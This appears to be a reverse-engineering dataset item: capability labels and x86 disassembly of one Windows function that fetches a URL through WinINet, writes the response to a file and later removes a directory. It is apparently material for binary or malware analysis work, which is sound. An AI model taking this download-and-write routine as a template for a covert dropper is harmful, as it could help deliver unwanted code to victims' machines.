Function at 0x4070b0
Capabilities:
Create http request
Delete directory
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
cmp dword [ebp + 0x18], 0
push ebx
push esi
push edi
je 0x4073a1
cmp dword [ebp + 0x30], 0
je 0x4073a1
push 0x4000
mov ebx, 1
mov dword [ebp - 4], 0x4000
call fcn.004142be
add esp, 4
mov esi, eax
push 0x4000
push 0
push esi
call fcn.00414ff0
add esp, 0xc
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
cmovae eax, dword [ebp + 0x20]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0
push 0
push 0
push 0x431e4b
mov dword [ebp - 8], eax
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp dword [ebp + 0x1c], 0x10
mov ecx, eax
push 0
push 0
push 0
lea eax, [ebp + 8]
mov dword [ebp - 0xc], ecx
cmovae eax, dword [ebp + 8]
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40719c
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
nop dword [eax]
mov eax, dword [ebp - 4]
test eax, eax
je 0x407197
push 0
lea ecx, [ebp - 0x10]
push ecx
push eax
push esi
push dword [ebp - 8]
call ebx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x407170
mov ebx, 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0x432a00
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.004166bc
add esp, 8
test eax, eax
je 0x4073a3
push eax
call fcn.0041674a
add esp, 4
lea eax, [ebp + 0x20]
lea ecx, [ebp - 0x70]
push eax
call fcn.00412e40
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x58]
lea eax, [ebp - 0x70]
cmovae eax, dword [ebp - 0x70]
push ecx
push eax
call fcn.004172bc
mov edx, dword [ebp - 0x5c]
or esi, 0xffffffff
add esp, 8
test eax, eax
cmove esi, dword [ebp - 0x44]
cmp edx, 0x10
jb 0x40723e
mov ecx, dword [ebp - 0x70]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407234
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40741e
push edx
push ecx
call fcn.004142b0
add esp, 8
test esi, esi
jne 0x4073a3
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.004169d7
push ecx
lea ecx, [ebp + 0x20]
call fcn.00412ba0
mov ecx, eax
cmp ecx, 0xffffffff
jne 0x40728f
push esi
push 0x431e4b
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.004131b0
lea eax, [ebp - 0x40]
mov esi, 1
xor ecx, ecx
jmp 0x4072c5
cmp dword [ebp + 0x30], ecx
lea eax, [ebp + 0x20]
mov dword [ebp - 0x18], 0
cmovb ecx, dword [ebp + 0x30]
cmp dword [ebp + 0x34], 0x10
push ecx
cmovae eax, dword [ebp + 0x20]
lea ecx, [ebp - 0x28]
push eax
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.004131b0
xor esi, esi
lea eax, [ebp - 0x28]
lea ecx, [esi + 2]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x70], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x60], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
test ecx, ecx
je 0x40731f
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x40731f
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407315
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407423
push edx
push ecx
call fcn.004142b0
add esp, 8
test esi, esi
je 0x407357
mov edx, dword [ebp - 0x2c]
cmp edx, 0x10
jb 0x407357
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40734d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407423
push edx
push ecx
call fcn.004142b0
add esp, 8
cmp dword [ebp - 0x5c], 0x10
lea eax, [ebp - 0x70]
cmovae eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov edx, dword [ebp - 0x5c]
cmp edx, 0x10
jb 0x40739d
mov ecx, dword [ebp - 0x70]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407393
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407423
push edx
push ecx
call fcn.004142b0
add esp, 8
xor ebx, ebx
jmp 0x4073a3
xor bl, bl
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x4073d3
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4073c9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407428
push edx
push ecx
call fcn.004142b0
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x407415
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40740b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407428
push edx
push ecx
call fcn.004142b0
add esp, 8
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00418a24
call fcn.00418a24
call fcn.00418a24
int3